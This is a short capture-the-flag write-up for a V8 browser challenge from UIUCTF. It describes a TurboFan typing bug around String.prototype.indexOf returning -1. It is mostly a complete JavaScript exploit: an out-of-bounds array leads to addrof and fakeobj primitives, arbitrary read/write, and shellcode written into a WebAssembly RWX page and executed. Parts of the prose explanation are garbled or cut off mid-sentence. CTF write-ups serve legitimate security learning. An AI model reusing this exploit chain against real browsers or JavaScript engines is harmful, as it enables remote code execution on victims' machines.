UIUCTF shouldve-had-a-v8 Browser Challenge Mini Writeup
Vulnerability
Patch file :
Basically the vulnerability is a range miscalculation. The optimizer's assumptions are wrong about the range of values string.indexOf
can return and the optimizer misses the -1
case. Because of this, when -1
occurs, there is a difference between the inferred value and actual value. We use this confusion to create an array having length greater than its length because in ReduceJSCreateArray
the length is calculated by the graph generated by the optimizer.
Helpful links :
P0 blogpost
JeremyFetiveau Exploit
Exploit
So the goal is creating an array with length -1
however -1
wont work directly.
Here is an example failed attempt :
new Array("".indexOf('A'))
This fails is because turbofan will optimize away the "".indexOf('A'))
to a constant 0 so eventually we get an array of length 0. We need to put and object with a string property inside trigger function to keep the constant folding from happening too soon. Note : when you tried things like Math.min
. So we need to delay that until a phase after that, but before Simplified Lowering, in order to successfully trigger the Array(-1)
Reference :
Exploiting the Math.expm1 typing bug in V8
When we got oob access then rest of the part is about :
- Getting addrof
- Gaining read and write primitives
- Creating a Wasm Page (RWX)
- Inject shellcode
var conversion_buffer = new ArrayBuffer(8);
var float_view = new Float64Array(conversion_buffer);
var int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
function gc() {
for (var i = 0; i < 0x10000; ++i)
var a = new ArrayBuffer();
}
if (typeof print === undefined) {
var print = console.log;
}
var shellcode = [4.349575388168352e+199, 1.0543077975713235e-68, 1.9656830452247845e-236, 1.288531947997e-312, -6.828527034370483e-229];
function pwn() {
gc();
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;
function trigger(foo) {
let obj = {s: foo ? "" : "fuck"};
var x = String.prototype.indexOf.call(obj.s, "fuck");
x = x >> 30;
let oob_smi = new Array(x);
return oob_smi;
}
for (var i = 0; i < 0x4000; i++) {
trigger(false);
}
let oob_double = trigger(true);
print("[+] oob_double.length = " + oob_double.length);
new Promise(() => {
oob_double[0] = 3.14;
let arr_victim = [{}];
function addrof(obj) {
arr_victim[0] = obj;
return (oob_double[1].f2i() & 0xffffffffn) - 1n;
}
function fakeobj(addr) {
oob_double[1] = (addr | 1n).i2f();
return arr_victim[0];
}
let addr_proto = addrof(Array.prototype);
print("[+] addr_proto = " + addr_proto.hex());
let fake_map = [
0x1604040487654321n.i2f(),
0x0a0007ff2100043dn.i2f(),
(addr_proto | 1n).i2f()
];
let addr_fake_map = addrof(fake_map) + 0x34n;
console.log("[+] fake_map = " + addr_fake_map.hex());
let real_array = [(addr_fake_map | 1n).i2f(), 3.14];
real_array[1] = 2.17;
let addr_fake_array = addrof(real_array) - 0x10n;
console.log("[+] fake_array = " + addr_fake_array.hex());
let fake_array = fakeobj(addr_fake_array);
function half_aar64(addr) {
real_array[1] = (0x888800000001n | (addr-8n)).i2f();
return fake_array[0].f2i();
}
function half_aaw64(addr, value) {
real_array[1] = (0x888800000001n | (addr-8n)).i2f();
fake_array[0] = value.i2f();
}
function half_cleanup() {
real_array[0] = 0.0;
real_array[1] = 0.0;
}
let leaker = new Uint8Array(1);
let addr_leaker = addrof(leaker);
let compress_high = half_aar64(addr_leaker + 0x28n) & 0xffffffff00000000n;
console.log("[+] high = " + compress_high.hex());
let evil = new Float64Array(0x10);
let addr_evil = addrof(evil);
console.log("[+] addr_evil = " + addr_evil.hex());
let orig_evil = half_aar64(addr_evil + 0x28n);
function full_aar64(addr) {
half_aaw64(addr_evil + 0x28n, addr);
return evil[0].f2i();
}
function full_aaw64(addr, value) {
half_aaw64(addr_evil + 0x28n, addr);
evil[0] = value.i2f();
}
function full_cleanup() {
half_aaw64(addr_evil + 0x28n, orig_evil);
}
let addr_instance = addrof(instance);
console.log("[+] addr_instance = " + addr_instance.hex());
let addr_shellcode = half_aar64(addr_instance + 0x68n);
console.log("[+] addr_shellcode = " + addr_shellcode.hex());
for (let i = 0; i < shellcode.length; i++) {
full_aaw64(addr_shellcode + BigInt(i*8), shellcode[i].f2i());
}
main();
full_cleanup();
half_cleanup();
}).then();
}
pwn();
Thanks for help ptr-yudai
Result :